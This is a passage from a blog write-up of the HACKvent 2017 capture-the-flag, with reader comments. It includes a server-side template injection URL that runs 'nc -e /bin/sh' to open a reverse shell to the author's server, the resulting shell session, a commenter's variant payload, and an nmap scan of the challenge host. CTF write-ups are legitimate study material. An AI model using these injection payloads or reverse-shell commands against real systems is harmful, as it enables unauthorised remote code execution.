And I opened this URL with the command to connect back to my server:

http://challenges.hackvent.hacking-lab.com:1089/{{''.__class__.__mro__[1].__subclasses__()[37](["nc", "-e", "/bin/sh", "sigterm.ch", "1337"])}}/99?key=W5zzcusgZty9CNgw

On my server I got the reverse shell access:

$  nc -l -p 1337 -vvv
listening on [any] 1337 ...
connect to [10.8.111.199] from urb80-74-140-188.ch-meta.net [80.74.140.188] 32782
ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cd /home
ls
flag
cat flag
HV17-7h1s-1sju-t4ra-nd0m-flag

HV17-7h1s-1sju-t4ra-nd0m-flag


Hidden Flags

Hidden Flag #1

The fist hidden flag was in the calendar. I tried to access days of the calendar which were > than 24. For example, when accessing day 25:

https://hackvent.hacking-lab.com/challenge.php?day=25
The resource (#1959) you are trying to access, is not (yet) for your eyes.

The comment was about resource #1959, so I tried to access day 1959:

https://hackvent.hacking-lab.com/challenge.php?day=1959
The resource (#25) you are trying to access, is not (yet) for your eyes.

When calling day 26 the mentioned resource was 1958, for 27 = 1957 and so on… Adding the two numbers it always ends up in 1984. I requested day 1984, which told me “The resource you are trying to access, is hidden in the header.”

Looking at the headers revealed the flag:

HV17-4llw-aysL-00ki-nTh3-H34d


Hidden Flag #2

Hidden Flag number 2 was in day 18:

HV17-Muq9-gzvU-t3Bg-O3jo-iGml


Hidden Flag #3

The robots.txt file of the hackvent webserver contained this text:

We are people, not machines

According to this link I tried to read people.txt:

What's about akronyms?

I think the author of it meant synonyms and not acronyms. Eventually I got this and tried to read humans.txt

All credits go to the following incredibly awesome HUMANS (in alphabetic order):
avarx
DanMcFly
HaRdLoCk
inik
Lukasz
M.
Morpheuz
MuffinX
PS
pyth0n33

HV17-bz7q-zrfD-XnGz-fQos-wr2A

HV17-bz7q-zrfD-XnGz-fQos-wr2A


Hidden Flag #4

I was browsing the CSS folder and there I’ve found an Easter-Egg containing a QR code:

HE17-W3ll-T00E-arly-forT-his!


Hidden Flag #5

The last hidden flag was on the challenges.hackvent.hacking-lab.com server. I ran nmap to look for open ports and found the telnet port:

$ nmap -sS challenges.hackvent.hacking-lab.com
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-30 10:43 CET
Nmap scan report for challenges.hackvent.hacking-lab.com (80.74.140.188)
Host is up (0.012s latency).
rDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net
Not shown: 987 filtered ports
PORT      STATE  SERVICE
22/tcp    open   ssh
23/tcp    open   telnet
80/tcp    closed http
443/tcp   closed https
1034/tcp  open   zincite-a
1037/tcp  open   ams
1087/tcp  open   cplscrambler-in
1088/tcp  open   cplscrambler-al
1089/tcp  open   ff-annunc
6667/tcp  open   irc
8081/tcp  open   blackice-icecap
9999/tcp  closed abyss
31337/tcp open   Elite

Nmap done: 1 IP address (1 host up) scanned in 4.96 seconds

After connecting to the telnet port a nice ASCII animation of Santa Clause was shown. Santa Clause gave us a present (flag) to assemble ourselves. The flag was shown in ASCII art, but the sequence passed so fast, it was impossible to read it. I saved the output to a file:

telnet challenges.hackvent.hacking-lab.com 23 | tee -a hidden5.txt

I opened this file with a text editor and then I could read the flag.

HV17-UH4X-PPLE-ANND-IH4X-T1ME

 

16 thoughts on “HACKvent 2017 write-up

  1. Excellent write-up!

    A few thoughts:

    – Day 6: I like the use of qrtools. I had not looked into that. It’s much nicer than my bash loop over wget to zxing.org!
    – Day11: I did not know about gmpy2. I used https://inventwithpython.com/cryptomath.py
    – Day 16: Neat idea using print(denied) on the python jail!
    – Day 23: I’m curious to read if anyone reversed the password in the second part. I tried using the dosbox debugger, but ended up just guessing the password.

    • On Day 23, I wanted to brute force the password guessing with some sort of script, but failed to do so with DosBox. But yeah, I’ll guess there will be some nicer solutions to this. :)

    • Yeah i reversed it with the dosbox debugger. Say me your HL name and i send you my writeup.

      Cheers explo1t

  2. Pingback: Hackvent 2017 Write-up | khr@sh#: echo $GREETING

  3. Thanks for write-up!!

    Btw. in 24, if you wanna see output from subprocess.Popen, you can use -1 (=subprocess.PIPE) as 5th parametr (stdout)
    {{”.__class__.__mro__[1].__subclasses__()[37]([‘ls’, ‘/’], -1, None, None, -1).communicate()[0]}}

    • Ah cool, thanks for the heads up! I just tried it out on the challenge server, as it is still online.
      When I was solving this challenge, I already spent so much time, I didn’t want to fiddle more with the parameters and went for the reverse shell. :)

  4. Congratulation to your score! Nice write-up.
    I could follow the challenges until day 14 (including hidden 1 in the HTTP header), after then I could learn a lot but not solve them!
    My solutions are pretty similar to yours, except the CRC which I brute-forced with an own CRC32 implementation I recently had to develop at work (took about 1 hour) – not proud of that but it worked ;)
    Nice to see that trying it even harder sooner or later leads to success!
    Go on like that, gr33ts

    • Thanks.
      Just keep doing CTFs. You’ll learn a lot and soon you will be able to solve the hard challenges as well. :)

  5. Thank you, nice write-up ! :)
    I’ve a question : what do you use to reverse in day 14 ? You get a pretty clear result in the attached screenshot.

  6. The correct combination for the tic-tac-toe challenge was [‘3’, ‘7’, ‘9’, ‘6’].
    This way you’d never lose :)

Leave a Reply

Your email address will not be published. Required fields are marked *